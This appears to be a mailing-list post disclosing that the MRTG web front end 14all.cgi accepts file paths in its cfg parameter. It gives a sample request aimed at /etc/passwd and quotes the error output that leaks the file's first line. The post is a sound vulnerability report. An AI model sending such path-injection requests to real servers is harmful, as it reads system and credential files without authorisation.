Actually, it does not display the webroot directory... it lists the location where 14all.cgi is configured to look for the config files. In your case that may be the webroot, but not in mine. BUT... Better yet, 14all.cgi allows (accepts) path entries in the web request... (a slight no no) Example: http://mrtghost/cgi-bin/14all.cgi?cfg=/etc/passwd Anyone care to guess what this returns? }Software error: }ERROR: CFG Error Unknown Option "root:x:0:0:root:/root" on line 2 or }above. Check doc/reference.txt for Help } }For help, please send mail to the webmaster (x), giving }this error message and the time and date of the error. Luckily my /etc/shadow is not readable! :) Nothing like giving away the first line of _any_ readable file on your system.... Jason Hicks Network Architect National Fuel - Buffalo, NY
